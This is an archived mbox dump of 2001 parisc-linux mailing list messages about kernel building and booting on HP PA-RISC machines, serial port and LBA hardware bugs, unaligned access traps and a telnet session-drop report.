Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12208

On Tue, Sep 18, 2001 at 07:38:55AM +0200, thunder7@xs4all.nl wrote:
> Am I correct in assuming those are all suspects and this is just another
> example of the missing unaligned access trap haunting us?

that's right; this is exactly what andi kleen & davem were talking about
last week.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing a native built kernel with 2.4.0 (.92 dist).
Date: Tue, 18 Sep 2001 16:30:15 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20010918163015.Q19441@linuxcare.com>
References: <Pine.NEB.4.33.0109172318580.16734-100000@www2.scram.de> <Pine.WNT.4.33.0109171459100.1080-100000@nemo.dev.metainfo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620488 25706 80.91.229.3 (22 Nov 2014 01:41:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marka@sea.checkpoint.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 18 09:31:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3748B482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 09:31:05 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 00C32B00C; Tue, 18 Sep 2001 16:30:15 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.WNT.4.33.0109171459100.1080-100000@nemo.dev.metainfo.com>; from marka@sea.checkpoint.com on Mon, Sep 17, 2001 at 03:13:40PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:12209

On Mon, Sep 17, 2001 at 03:13:40PM -0700, marka@sea.checkpoint.com wrote:
> 
> I've successfully installed and upgraded with the .92 distro, but I'm having
> trouble getting a natively built kernel with this distro to load.
> 
> the load will either freeze at 'branching to kernel entry point' or
> on the last time I rebuilt and copied, it complained:
> 
> Couldn't grok your kernel executable format
> failed to load kernel

If you are netbooting, you use a lifimage, if you are booting
from disk you use the vmlinux file produced from building the
kernel.

> this is with kernel-latest and palo-latest from Sep 7 on a b180l
> 
> I select PA7300LC on 'make oldconfig' (this sets CONFIG_PA7100LC=y in
> .config).

The config we use for the official kernels is in arch/parisc/debian-configs/32,
you can "make distclean; cp arch/parisc/debian-configs/32 .config;
make oldconfig; make; cp vmlinux /boot/vmtest", then reboot, interact
with IPL and change the vmlinux-whatever name to be vmtest.

> Any tips from the pros on building and installing -latest natively?  I'd
> really like to get the fixes in 2.4.9, and there must be something more
> interesting that needs to be done than copying/renaming lifimage over to /boot
> and updating palo.conf and re-running palo.

Don't copy lifimages to /boot, copy vmlinux.

Richard





From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marka@sea.checkpoint.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing a native built kernel with 2.4.0 (.92
 dist).
Date: Tue, 18 Sep 2001 10:10:43 -0700 (Pacific Daylight Time)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.WNT.4.33.0109181004310.3268-100000@nemo.dev.metainfo.com>
References: <20010918163015.Q19441@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620489 25708 80.91.229.3 (22 Nov 2014 01:41:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 18 11:10:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postal.sea.checkpoint.com (postal.sea.checkpoint.com [208.252.84.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCDF8482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 11:10:56 -0600 (MDT)
Original-Received: from cartman.sea.checkpoint.com (localhost [127.0.0.1])
	by postal.sea.checkpoint.com (8.9.3/8.9.3.RJ666.9) with ESMTP id KAA05286
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 10:08:58 -0700
Original-Received: by cartman.sea.checkpoint.com with Internet Mail Service (5.5.2650.21)
	id <SMXCY11C>; Tue, 18 Sep 2001 10:10:54 -0700
Original-Received: from nemo.dev.metainfo.com (208.252.84.213 [208.252.84.213]) by cartman.sea.checkpoint.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id SMXCY11B; Tue, 18 Sep 2001 10:10:49 -0700
In-Reply-To: <20010918163015.Q19441@linuxcare.com>
X-X-Sender: marka@cartman.sea.checkpoint.com
Xref: news.gmane.org gmane.linux.ports.parisc:12210

Thanks for your help,

Ok, it turns out it is booting (the machine's so quiet it's hard to tell), and
not 'freezing' per-say at 'branching to kernel entry point 0x00100000'.  It's
simply not sending anything to ttyS0 any more after this point.  This seems to
be the 'swapped serial ports' issue mentioned earlier on this list.

--
Mark






From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing a native built kernel with 2.4.0 (.92 dist).
Date: Tue, 18 Sep 2001 19:54:51 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010918195451.A15107@parcelfarce.linux.theplanet.co.uk>
References: <20010918163015.Q19441@linuxcare.com> <Pine.WNT.4.33.0109181004310.3268-100000@nemo.dev.metainfo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620489 25713 80.91.229.3 (22 Nov 2014 01:41:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marka@sea.checkpoint.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 18 12:54:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1348E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 12:54:54 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15jQ1D-0004CZ-00; Tue, 18 Sep 2001 19:54:51 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.WNT.4.33.0109181004310.3268-100000@nemo.dev.metainfo.com>; from marka@sea.checkpoint.com on Tue, Sep 18, 2001 at 10:10:43AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12211

On Tue, Sep 18, 2001 at 10:10:43AM -0700, marka@sea.checkpoint.com wrote:
> Ok, it turns out it is booting (the machine's so quiet it's hard to tell), and
> not 'freezing' per-say at 'branching to kernel entry point 0x00100000'.  It's
> simply not sending anything to ttyS0 any more after this point.  This seems to
> be the 'swapped serial ports' issue mentioned earlier on this list.

That could be.  Can you boot the old kernel and report
what the serial ports are as Richard did in his message
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-September/013670.html

Or if your machine boots as far as having a network, you could check in
dmesg to see what the inventory reported and paste it from there.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing a native built kernel with 2.4.0 (.92 dist).
Date: Tue, 18 Sep 2001 20:04:38 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010918200438.T19441@linuxcare.com>
References: <20010918163015.Q19441@linuxcare.com> <Pine.WNT.4.33.0109181004310.3268-100000@nemo.dev.metainfo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620489 25714 80.91.229.3 (22 Nov 2014 01:41:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marka@sea.checkpoint.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 18 13:05:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44BEC482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 13:05:21 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D99B4B00C; Tue, 18 Sep 2001 20:04:38 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.WNT.4.33.0109181004310.3268-100000@nemo.dev.metainfo.com>; from marka@sea.checkpoint.com on Tue, Sep 18, 2001 at 10:10:43AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:12212

On Tue, Sep 18, 2001 at 10:10:43AM -0700, marka@sea.checkpoint.com wrote:
> Thanks for your help,
> 
> Ok, it turns out it is booting (the machine's so quiet it's hard to tell), and
> not 'freezing' per-say at 'branching to kernel entry point 0x00100000'.  It's
> simply not sending anything to ttyS0 any more after this point.  This seems to
> be the 'swapped serial ports' issue mentioned earlier on this list.

That should be fixed in the latest kernel source, please let us know
if it is still broken on your box.

Thanks,
  Richard





From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marka@sea.checkpoint.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing a native built kernel with 2.4.0 (.92
 dist).
Date: Tue, 18 Sep 2001 12:34:26 -0700 (Pacific Daylight Time)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.WNT.4.33.0109181230530.3268-100000@nemo.dev.metainfo.com>
References: <20010918200438.T19441@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620490 25717 80.91.229.3 (22 Nov 2014 01:41:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 18 13:34:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postal.sea.checkpoint.com (postal.sea.checkpoint.com [208.252.84.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA805482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 13:34:35 -0600 (MDT)
Original-Received: from cartman.sea.checkpoint.com (localhost [127.0.0.1])
	by postal.sea.checkpoint.com (8.9.3/8.9.3.RJ666.9) with ESMTP id MAA07199
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 12:32:37 -0700
Original-Received: by cartman.sea.checkpoint.com with Internet Mail Service (5.5.2650.21)
	id <SMXCY1MZ>; Tue, 18 Sep 2001 12:34:34 -0700
Original-Received: from nemo.dev.metainfo.com (208.252.84.213 [208.252.84.213]) by cartman.sea.checkpoint.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id SMXCY1MY; Tue, 18 Sep 2001 12:34:31 -0700
In-Reply-To: <20010918200438.T19441@linuxcare.com>
X-X-Sender: marka@cartman.sea.checkpoint.com
Xref: news.gmane.org gmane.linux.ports.parisc:12213

On Tue, 18 Sep 2001, Richard Hirst wrote:
> That should be fixed in the latest kernel source, please let us know
> if it is still broken on your box.

lo and behold it is fixed, thanks! broken in pa17 and fixed in pa22.

Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI
enabled
ttyS00 at iomem 0xffd05800 (irq = 154) is a 16550A
ttyS01 at iomem 0xfff83800 (irq = 74) is a 16550A

--
Mark




From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: Old hardware and PA-Linux
Date: Tue, 18 Sep 2001 12:51:54 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <AB57FCC5E303D511BB8F00A0C9F485C2035A510B@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620490 25719 80.91.229.3 (22 Nov 2014 01:41:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "MUNRO,CHUCK (HP-Canada,ex1)" <chuck_munro@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 18 13:56:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 284A9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 13:56:18 -0600 (MDT)
Original-Received: from xparelay1.corp.hp.com (unknown [15.58.136.173])
	by palrel13.hp.com (Postfix) with ESMTP id 416CA1FB66
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 12:56:17 -0700 (PDT)
Original-Received: from xpabh1.corp.hp.com (xpabh1.corp.hp.com [15.58.136.191])
	by xparelay1.corp.hp.com (Postfix) with ESMTP id 02F751F5A6
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 12:56:00 -0700 (PDT)
Original-Received: by xpabh1.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <SKHPSG82>; Tue, 18 Sep 2001 12:55:59 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12214

Chuck -

I am not sure if anyone has recently been trying D and/or R-class systems.

Anyone?

Alan

>As suggested, I'm writing to enquire about the current status 
>of Linux usability on old D-Class and R-Class server hardware. 

>Those boxes are good targets for recycling into robust, 
>just-won't-die servers where performance matters less than 
>reliability.  I also have a selfish motive - I'm currently 
>running an old D350 2-way with tons of RAM and disk as a 
>mail/web/DNS server, and would like to run Linux rather than 
>HP-UX simply for consistency with all the other machines I have.




From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Weis <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: Old hardware and PA-Linux
Date: Tue, 18 Sep 2001 15:25:27 -0500 (CDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0109181524390.8314-100000@oliver.internal.sjdjweis.com>
References: <AB57FCC5E303D511BB8F00A0C9F485C2035A510B@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620490 25720 80.91.229.3 (22 Nov 2014 01:41:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:30 +0000 (UTC)
Cc: "MUNRO,CHUCK (HP-Canada,ex1)" <chuck_munro@hp.com>,
	parisc-linux@lists.parisc-linux.org
To: "MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 18 14:23:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04593482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 14:23:09 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id PAA09054;
	Tue, 18 Sep 2001 15:25:27 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <AB57FCC5E303D511BB8F00A0C9F485C2035A510B@xfc02.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12215

My D310 seems to work fine once I pulled the extra serial console/modem
thing (sorry, don't remember the name). I couldn't get my cd to boot, but
a lifimage worked fine with a net install.

dave

On Tue, 18 Sep 2001, MEYER,ALAN C. (HP-FtCollins,ex1) wrote:

> Chuck -
> 
> I am not sure if anyone has recently been trying D and/or R-class systems.
> 
> Anyone?
> 
> Alan
> 
> >As suggested, I'm writing to enquire about the current status 
> >of Linux usability on old D-Class and R-Class server hardware. 
> 
> >Those boxes are good targets for recycling into robust, 
> >just-won't-die servers where performance matters less than 
> >reliability.  I also have a selfish motive - I'm currently 
> >running an old D350 2-way with tons of RAM and disk as a 
> >mail/web/DNS server, and would like to run Linux rather than 
> >HP-UX simply for consistency with all the other machines I have.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 

-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3600/J5600 support
Date: Tue, 18 Sep 2001 14:40:37 -0600
Lines: 87
Approved: news@gmane.org
Message-ID: <20010918203830.3864E4169@ldl.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620490 25722 80.91.229.3 (22 Nov 2014 01:41:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 18 14:38:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9550C482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 14:38:31 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel1.hp.com (Postfix) with ESMTP id 734DAC36
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 16:38:30 -0400 (EDT)
Original-Received: from there (eeyore.fc.hp.com [15.1.54.199])
	by ldl.fc.hp.com (Postfix) with SMTP id 3864E4169
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 14:38:30 -0600 (MDT)
X-Mailer: KMail [version 1.3.1]
Xref: news.gmane.org gmane.linux.ports.parisc:12216

I don't have time to pursue C3600/J5600 issues, so I'm forwarding this to 
the list in case anyone else wants to look at it.  I got C3600 to boot 
with a small ugly hack (see below), so I think a clean solution shouldn't 
be too hard to find.

Bjorn


----------  Forwarded Message  ----------

Subject: Re: C3600 LBA problem
Date: Thu, 13 Sep 2001 01:11:32 -0600
From: Grant Grundler <grundler@puffin.external.hp.com>
To: Bjorn Helgaas <bjorn_helgaas@hp.com>

Bjorn Helgaas wrote:
> Hi Grant,
>
> I'm playing with a C3600.  Not sure if the kernel is "supposed" to work
> on this or not, but it seems pretty close.

Rick Jones and I tried to boot on a J5600 and it HPMC'd too.
It wasn't a priority to pursue at the time.

> When I boot the current cvs kernel (with EARLY_BOOTUP_DEBUG) on the
> C3600, I get an HPMC while doing a config space read just after finding
> an LBA:
>
>   lba version TR4.0 (0x5) found at 0xfffffffffed30000
>   <HPMC>
>
> >From the PIM, I see:
>
>   PC: 1024ca44 (_gsc_readb+4)
>     1024ca44:   0f 40 00 1c     ldb  r0(sr0,r26),ret0
>   R26: fffffffffed3004a
>   RP: 10111130 (in lba_cfg_read)
>
> I don't see anything wrong with the address we're trying to read -- it
> looks like a valid byte in the CONFIG_DATA CSR.
>
> I notice in lba_cfg_read##size that since this is a TR4 LBA, we don't
> use the old workaround code.  However, if I short-circuit the version
> testing so we DO use the old code, the kernel boots just fine!  I.e.,
> with the following change to lba_pci.c:
>
> -       if ((!LBA_TR4PLUS(d)) && (!LBA_SKIP_PROBE(d))) { \
> +       if (1 /*(!LBA_TR4PLUS(d)) && (!LBA_SKIP_PROBE(d))*/) { \
>
> it works.  Any ideas on how to pursue this?

Several ideas:
o Sprockets firmware *does* program the chipset a bit differently
  than PAT PDC firmware - notably DMA hint registers. Dump *all* LBA
  registers from A500, C3K, and C3600 boot and see what's different.
  It also might be a difference in how Astro or the CPU is initialized
  but LBA is a starting point.

o Talk to Sprockets firmware team. JL Marsh is my contact though I
  think he's been working on IA64 firmware for quite some time.
  Find out if any of the differences are obvious to them.

o Look at later versions of HPUX LBA code to see if they do anything
  different. I based my code on 990P (r11_rose_latest or something like
 that). Joe Loos (Cupertino) would know who "owns" LBA support for HPUX. I
 haven't talked to him in a while and don't even know if he's
  still around.

>   I'm also testing on an A500,
> which looks like it has TR4 LBAs as well, so I know the TR4PLUS path
> isn't completely broken.

Exactly. A500 is working for everyone so I'm pretty sure it's not
a fundemental HW problem.

> Oh, I'll attach all the console output from both boots.

mh doesn't deal well with attachments. I need to get to bed anyway.
I will unpack/look at those tomorrow for you.

hope this helps,
grant

-------------------------------------------------------




From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nmap -O -> kernel panic on 712
Date: Tue, 18 Sep 2001 21:06:28 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20010918210628.A10837@middle.of.nowhere>
References: <20010917165501.B17483@gollum.intranet.nimag.net> <20010917203312.A6109@middle.of.nowhere> <20010918002427.C17483@gollum.intranet.nimag.net> <20010918073855.A11627@middle.of.nowhere> <20010918123829.A3082@dogbert.localdomain>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620491 25734 80.91.229.3 (22 Nov 2014 01:41:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 18 22:34:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.127.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09E49482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 22:34:04 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp1.xs4all.nl (8.9.3/8.9.3) with ESMTP id GAA02750
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Sep 2001 06:34:01 +0200 (CEST)
Original-Received: (qmail 12102 invoked from network); 18 Sep 2001 19:06:30 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 18 Sep 2001 19:06:30 -0000
Original-Received: (qmail 11935 invoked by uid 500); 18 Sep 2001 19:06:28 -0000
Content-Disposition: inline
In-Reply-To: <20010918123829.A3082@dogbert.localdomain>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12217

On Tue, Sep 18, 2001 at 12:38:29PM +0200, Albert Strasheim wrote:
> Hello,
> 
> I'm pretty new to the whole PA-RISC Linux effort, so I would appreciate
> it if someone could explain to me (and perhaps to other newbies), what
> these unaligned access traps are, and what needs to be added to traps.c
> (or possibly elsewhere) to get things working properly?
> 
AFAIK, an unaligned trap is a process (or the kernel) that tries to
access memory on a location that is not 32-bit aligned. 

Supposedly, there should be code that determines what the process was
trying to do, gets the information on a 32-bit aligned address, modifies
the information to the form the process wanted it in, then returns to
the process.

All of this requires assembly and some tricks with interrupts etc, which
doesn't make it a project for beginners (well, not beginners with my
level of knowledge and determination :-) ).

there is something called arch/parisc/kernel/unaligned.c, but that
doesn't seem to be the whole story.

Good luck,
Jurriaan
-- 
You have no feelings for me, but you do have feelings against me.
	Neelix - Startrek Voyager
GNU/Linux 2.4.9-ac10 SMP/ReiserFS 2x1402 bogomips load av: 0.08 0.04 0.01




From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marka@sea.checkpoint.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] interesting problem in tty? telnetd? ls?
Date: Wed, 19 Sep 2001 14:55:13 -0700 (Pacific Daylight Time)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.WNT.4.33.0109191442050.5872-100000@nemo.dev.metainfo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620491 25736 80.91.229.3 (22 Nov 2014 01:41:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 19 15:55:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postal.sea.checkpoint.com (postal.sea.checkpoint.com [208.252.84.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id DACC9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Sep 2001 15:55:26 -0600 (MDT)
Original-Received: from cartman.sea.checkpoint.com (localhost [127.0.0.1])
	by postal.sea.checkpoint.com (8.9.3/8.9.3.RJ666.9) with ESMTP id OAA21131
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Sep 2001 14:53:03 -0700
Original-Received: by cartman.sea.checkpoint.com with Internet Mail Service (5.5.2650.21)
	id <SMXCYGQQ>; Wed, 19 Sep 2001 14:55:19 -0700
Original-Received: from nemo.dev.metainfo.com (208.252.84.213 [208.252.84.213]) by cartman.sea.checkpoint.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id SMXCYGQP; Wed, 19 Sep 2001 14:55:17 -0700
X-X-Sender: marka@cartman.sea.checkpoint.com
Xref: news.gmane.org gmane.linux.ports.parisc:12218

I'm not sure where this problem is occuring, but I suspect it's telnetd.

telnet to your pa-risc linux box
cd to the root directory
execute 'ls -alR'

you'll lose your ptty and telnet session after a short while (seconds), but
never at the the same place during the listing.  This does not occur over the
serial console, but since that's only running at 9600 it may not be fast
enough for the drop to occur.

--
Mark





From - Thu Nov 08 21:19:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marka@sea.checkpoint.com
Newsgroups: gmane.linux.ports.parisc
